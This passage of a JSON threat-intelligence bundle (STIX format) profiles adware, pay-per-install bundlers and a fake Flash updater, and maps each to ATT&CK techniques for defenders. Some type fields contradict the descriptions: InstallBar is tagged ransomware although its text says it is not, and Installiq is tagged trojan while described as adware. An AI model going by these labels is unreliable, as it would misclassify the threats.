modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Inservice",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/inservice"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4dcc4ff-d311-5437-93c3-d13686ad5f84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba23ab6c-c9e8-5c7a-b372-96e0608db0a1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inservice exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1e1ea48-e384-5a02-8f0d-03b2455820a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba23ab6c-c9e8-5c7a-b372-96e0608db0a1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inservice exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ebbd456-1626-5c1d-94cd-8f20690aed04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba23ab6c-c9e8-5c7a-b372-96e0608db0a1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inservice exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cff75fa-3d5d-5aaa-89d9-e426c67f1d92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba23ab6c-c9e8-5c7a-b372-96e0608db0a1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inservice exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3de7014-e7cb-55f3-93aa-78c2834ba91c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba23ab6c-c9e8-5c7a-b372-96e0608db0a1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inservice exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c18502e8-9746-5107-b8c7-cb21018da697",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installbar",
      "description": "<h3>Executive Summary</h3>\nInstallBar is an aggressive Potentially Unwanted Program (PUP) and Adware application that operates primarily as a Browser Hijacker. It masquerades as a helpful browser extension, search optimizer, or coupon finder. Its true purpose is to forcefully inject advertisements, alter critical browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nInstallBar relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route all traffic through affiliate-monetized search engines controlled by the adware developers.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> InstallBar frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to a legitimate search engine, the watchdog service instantly reinstalls the adware configurations.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile InstallBar is generally not classified as destructive malware (like ransomware), it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.InstallBar",
        "PUP.InstallBar",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installbar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installbar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b51cca85-097d-587b-b1c2-75d83a64dcb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c18502e8-9746-5107-b8c7-cb21018da697",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installbar exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d9fdf06-975b-5cb0-8151-140c67292a5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c18502e8-9746-5107-b8c7-cb21018da697",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installbar exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad70953a-6978-5352-b111-a6c67cce80d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c18502e8-9746-5107-b8c7-cb21018da697",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installbar exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5290ad26-7876-5b2f-9977-0ca3a11a9ed8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installbrain",
      "description": "InstallBrain (classified across cybersecurity vendors as Adware:Win32/InstallBrain and PUA:Win32/InstallBrain) is an aggressive pay-per-install software bundler and adware distribution framework. Bundled with free games, codec packs, and utility downloads, InstallBrain tricks users through deceptive multi-step installation wizards where unwanted third-party software (browser hijackers, shopping toolbars, and system monitors) is selected by default with obscured decline options. InstallBrain modifies browser homepages and search providers across Chrome, Firefox, and Edge, injects advertising banners into web sessions, and establishes persistent autostart entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/InstallBrain",
        "PUA:Win32/InstallBrain",
        "Program:Win32/InstallBrain",
        "InstallBrain Bundler",
        "Win32/InstallBrain"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installbrain",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installbrain"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe344c61-e6c7-5400-94d9-96660fd6c4f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5290ad26-7876-5b2f-9977-0ca3a11a9ed8",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installbrain exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed7ef520-d1f9-5a88-9552-8c2987e70632",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5290ad26-7876-5b2f-9977-0ca3a11a9ed8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installbrain exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--813e0697-76c3-5542-9465-9eb53ebeea62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5290ad26-7876-5b2f-9977-0ca3a11a9ed8",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installbrain exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1059.004: Command and Scripting Interpreter: Unix Shell (or Windows CMD/Batch)",
      "description": "MITRE ATT&CK Technique T1059.004 (Command and Scripting Interpreter: Unix Shell (or Windows CMD/Batch)) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1059.004",
          "url": "https://attack.mitre.org/techniques/T1059/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0faf462-c4a4-5a89-b197-45d8e00dbb90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5290ad26-7876-5b2f-9977-0ca3a11a9ed8",
      "target_ref": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installbrain exhibits technique T1059.004 (Command and Scripting Interpreter: Unix Shell (or Windows CMD/Batch))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7554469-0a9c-5bfe-bfd7-3fdd6523b89c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5290ad26-7876-5b2f-9977-0ca3a11a9ed8",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installbrain exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f1164cc5-3dfb-5c63-8017-a6f8a365e7ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installcore",
      "description": "PUA:Win32/InstallCore (widely cataloged across endpoint telemetry as ADW_INSTALLCORE, PUP.Optional.InstallCore, or PUA.Win32.InstallCore) is an aggressive software installer wrapper and monetization platform operated by ironSource. Widely integrated into third-party software download portals, repackaged freeware utilities, and torrent distributors, InstallCore wraps legitimate application binaries inside an evasive multi-step installer wizard. During setup, it employs deceptive user interface patterns (dark patterns) with pre-checked consent boxes and confusing opt-out buttons to covertly bundle unwanted software\u2014including browser hijackers, persistent adware daemons, fake system optimizers, and tracking toolbars. InstallCore alters default browser homepage configurations, replaces default search providers with ad-supported syndicates, injects background services, and frequently drops auxiliary adware payloads directly onto Windows endpoints. (Observed samples in benchmark: 1,961)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "InstallCore",
        "PUA:Win32/InstallCore",
        "ADW_INSTALLCORE",
        "PUP.Optional.InstallCore",
        "PUA.Win32.InstallCore",
        "InstallCore Bundler",
        "Adware.InstallCore"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installcore",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installcore"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b67ac99-ddf3-5d4f-9a5a-a613943f73ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1164cc5-3dfb-5c63-8017-a6f8a365e7ef",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installcore exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9732c3bb-c86c-545c-8d06-fe2556d5e99a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1164cc5-3dfb-5c63-8017-a6f8a365e7ef",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installcore exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45d1fef6-e4ec-5a21-8386-ddc08941ec37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1164cc5-3dfb-5c63-8017-a6f8a365e7ef",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installcore exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ba593fa-6820-5806-8263-ef62b9e9b556",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1164cc5-3dfb-5c63-8017-a6f8a365e7ef",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installcore exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d0baa1c-e3ba-5ab3-ba17-ea9520d63545",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1164cc5-3dfb-5c63-8017-a6f8a365e7ef",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installcore exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6747b323-f09f-55c1-85c5-d84992f2c111",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installerex",
      "description": "Installerex (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/Installerex, SoftwareBundler:Win32/InstalleRex, and PUA:Win32/InstalleRex) is an aggressive software bundler and adware installer framework active since 2013. Disguised as legitimate freeware or open-source utility installers on third-party download mirrors and torrent portals, Installerex employs deceptive user interface patterns to trick users into accepting unwanted bundled programs. Upon execution, the wrapper silently drops and executes third-party browser hijackers, intrusive adware engines, and rogue toolbars. It establishes startup persistence, modifies default browser search engines to affiliate portals, and displays persistent pop-up advertisements to generate Pay-Per-Install (PPI) monetization for operators. (Observed samples in benchmark: 43)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Installerex",
        "SoftwareBundler:Win32/InstalleRex",
        "PUA:Win32/InstalleRex",
        "Win32/Installerex",
        "Adware.Installerex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installerex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installerex"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f35d966c-a1bf-525a-aea5-de6ed5301b6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installermonetizer",
      "description": "InstallerMonetizer (classified across cybersecurity vendors as Adware:Win32/InstallerMonetizer and PUA:Win32/InstallerMonetizer) is a software monetizing pay-per-install bundler framework. Distributed by packaging open-source or free applications (such as media players, PDF readers, and torrent tools) inside an ad-injecting wrapper, InstallerMonetizer deceives users into installing multiple unwanted third-party toolbars, browser modifiers, and cryptocurrency miners. It communicates with affiliate marketing networks, modifying browser search providers, homepage preferences, and desktop shortcuts, while collecting device telemetry and user search patterns. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/InstallerMonetizer",
        "PUA:Win32/InstallerMonetizer",
        "Program:Win32/InstallerMonetizer",
        "InstallerMonetizer Bundler",
        "Win32/InstallerMonetizer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installermonetizer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installermonetizer"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ed9307c-49e9-555f-9978-461d51bff010",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f35d966c-a1bf-525a-aea5-de6ed5301b6a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installermonetizer exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--374e25de-395f-5672-84f1-826f8995e777",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f35d966c-a1bf-525a-aea5-de6ed5301b6a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installermonetizer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0315ecc5-c962-595a-a865-39cd4b4598ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f35d966c-a1bf-525a-aea5-de6ed5301b6a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installermonetizer exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22941c25-23ee-52bd-942d-729e1ba02189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f35d966c-a1bf-525a-aea5-de6ed5301b6a",
      "target_ref": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installermonetizer exhibits technique T1059.004 (Command and Scripting Interpreter: Unix Shell (or Windows CMD/Batch))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84a4b059-4ace-5057-b9e8-5b123d7b5164",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f35d966c-a1bf-525a-aea5-de6ed5301b6a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installermonetizer exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b577448-27cc-58c0-9752-5d3cd8660b39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installflash",
      "description": "Trojan:Win32/Installflash is a highly deceptive malware family that relies entirely on social engineering, specifically the technique of **Masquerading**. It disguises itself as a critical Adobe Flash Player update or installer. Its singular goal is to trick the user into granting it administrative execution privileges, bypassing User Account Control (UAC) through deception rather than exploiting a technical vulnerability.<br><br><b>Understanding Installflash</b><br>To an end-user, Installflash appears as a convincing, seemingly urgent web page warning that 'Your Flash Player is out of date' or 'Flash is required to view this content'. Despite Flash being deprecated, this lure remains remarkably effective. For a security analyst, Installflash represents a failure of user awareness training and relies on the user to manually authorize the malicious payload.<br><br><b>Execution and Masquerading Mechanics</b><br>Installflash is exclusively encountered during web browsing on compromised sites (drive-by downloads) or via aggressive malvertising (`T1189`). The initial payload is an executable named `install_flashplayer.exe` or `FlashUpdate.exe` (`T1036.005`). These files are given the legitimate Adobe Flash logo icon and are often signed with stolen or spoofed digital certificates (`T1036.001`). When the user runs the file, the UAC prompt appears, asking the user to grant administrative privileges (`T1204.002`). Once the user clicks 'Yes', the malware executes with high privileges, establishes persistence, and proceeds to download its true payload\u2014often adware, crypto-miners, or more severe backdoors.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the secondary payload it downloads. Host-based IoCs include the presence of executables named `flashplayer` running from `Downloads` or `%Temp%` instead of legitimate Adobe directories. EDR telemetry will show these fake installers spawning suspicious child processes (like PowerShell) or dropping secondary executables. Network IoCs include DNS requests to known malware distribution domains. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installflash",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installflash"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--590de898-85a4-51a0-a452-ed3c88f85b15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b577448-27cc-58c0-9752-5d3cd8660b39",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installflash exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location (Spoofing Adobe Flash))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdca1683-dcfa-5b07-833d-49197a998461",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b577448-27cc-58c0-9752-5d3cd8660b39",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installflash exhibits technique T1204.002 (User Execution: Malicious File (Tricking the user to run the fake update))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c21994a5-d600-5499-b825-c5f50e89c125",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b577448-27cc-58c0-9752-5d3cd8660b39",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installflash exhibits technique T1189 (Drive-by Compromise (Malvertising delivery))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28306aa9-b563-5dbb-8733-1efe99f5ff77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b577448-27cc-58c0-9752-5d3cd8660b39",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installflash exhibits technique T1105 (Ingress Tool Transfer (Downloading the actual payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b1ad5d4e-e167-542a-a351-fe81415f5a47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installiq",
      "description": "Adware:Win32/Installiq is a massive, commercial Pay-Per-Install (PPI) bundler framework, functioning similarly to Installmonetizer. It is essentially an aggressive distribution engine utilized by hundreds of different Potentially Unwanted Programs (PUAs). Its core objective is to act as a deceptive 'wrapper' around legitimate, highly sought-after freeware, tricking users into simultaneously installing highly intrusive browser hijackers, fake system optimizers, and tracking toolbars to generate affiliate revenue.<br><br><b>Understanding Installiq</b><br>To an end-user, Installiq is the convoluted installation wizard they must navigate to get their free software. For a corporate IT Helpdesk, Installiq is a major operational headache, responsible for a massive influx of 'browser hijacked' and 'pop-up ads' tickets. It represents a significant failure in endpoint Application Control, allowing unvetted, potentially vulnerable applications to saturate the network.<br><br><b>Execution and Dark Patterns</b><br>Installiq thrives on deceptive UI design, known as 'Dark Patterns' (`T1204.002`). During installation, it presents pre-checked boxes, confusing 'Decline' vs 'Cancel' buttons, and hidden 'Custom Installation' menus to trick the user into granting consent for secondary payloads (`T1189`). Once running, it acts as a dynamic downloader (`T1105`). It contacts its PPI network infrastructure, assesses the target's operating system, and downloads the highest-paying adware payloads. It then silently installs these payloads (BHOs, extensions, registry hooks) (`T1176`) in the background while the user waits for the main freeware installation to complete.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the introduction of multiple, disparate secondary adware infections, severely degrading system performance and violating user privacy. IoCs include EDR alerts for unsigned installer executables dropping numerous MSIs and EXEs into the `%Temp%` directory. Network logs will show bursts of HTTP/HTTPS traffic to known PPI distribution networks (often dynamically generated subdomains) during the software installation phase. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installiq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installiq"
        }
      ],
      "labels": [
        "advanced_threat",
